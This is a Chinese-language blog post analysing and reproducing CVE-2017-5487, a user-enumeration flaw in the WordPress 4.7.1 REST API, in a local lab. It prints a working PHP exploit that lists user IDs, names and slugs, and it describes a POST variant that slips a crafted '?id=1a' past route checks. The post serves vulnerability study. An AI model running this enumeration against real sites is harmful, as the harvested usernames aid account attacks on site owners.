[CVE-2017-5487] WordPress <=4.7.1 REST API 内容注入漏洞分析与复现

记录下自己的复现思路

 

漏洞影响:

未授权获取发布过文章的其他用户的用户名、id

触发前提:wordpress配置REST API

影响版本:<= 4.7

 

0x01漏洞复现

复现环境:

1) Apache2.4  

 

2) PHP 7.0  

 

 

3) wordPress 4.7.1 https://wordpress.org/wordpress-4.7.1.tar.gz)并安装 (点击下载)

  

确认 Httpd-conf  Allowover All

 

 

 

Exploit:

  https://www.exploit-db.com/exploits/41497/ 下载这里,修改箭头那里。

 

#!usr/bin/php
<?php

#Author: Mateus a.k.a Dctor
#fb: fb.com/hatbashbr/
#E-mail: dctoralves@protonmail.ch
#Site: https://mateuslino.tk 
header ('Content-type: text/html; charset=UTF-8');


$url= "http://localhost/wordpress-4.7.1/index.php";//
$payload="wp-json/wp/v2/users/";
$urli = file_get_contents($url.$payload);
$json = json_decode($urli, true);
if($json){
	echo "*-----------------------------*\n";
foreach($json as $users){
	echo "[*] ID :  |" .$users['id']     ."|\n";
	echo "[*] Name: |" .$users['name']   ."|\n";
	echo "[*] User :|" .$users['slug']   ."|\n";
	echo "\n";
}echo "*-----------------------------*";} 
else{echo "[*] No user";}


?>

 

漏洞复现:

 

http://127.0.0.1/wordpress-4.7.1/wp-json/wp/v2/users/

 

 

Get请求什么都不用做就可以避开wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php 的逻辑判断,返回ture,程序继续执行query,REST API接口查询后以json格式在前端显示。能够获取到用户的一些信息。 

这里添加一个用户作为一个事例,再次执行exp。

以下是漏洞证明,返回了用户id 、发布的文章消息以及一些其他内容。

 

 

 

 

另外一种利用方法

根据RESR APi文档,修改他的请求方式,以下利用post

 

 

在路由查询的操作中,$_get和$_post值优先路由正则表达式生成的值。输入 ?id=1a忽略路由正则的限制,来传入我们自定义的不存在ID,返回rest_invalid。下面就是跟前面的get那样避开判断,执行查询。这里是update_item方法的请求。下图我们可以看到返回了id为1的内容。

 

 

 

 ref

  • http://blog.nsfocus.net/wordpress-user-enumeration-vulnerability-analysis/
  • https://www.seebug.org/vuldb/ssvid-92732
  • https://www.exploit-db.com/exploits/41497/?rss
  • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5487
  • https://github.com/WordPress/WordPress/commit/daf358983cc1ce0c77bf6d2de2ebbb43df2add60
posted @ 2017-06-11 00:32 adislj 阅读(...) 评论(...) 编辑 收藏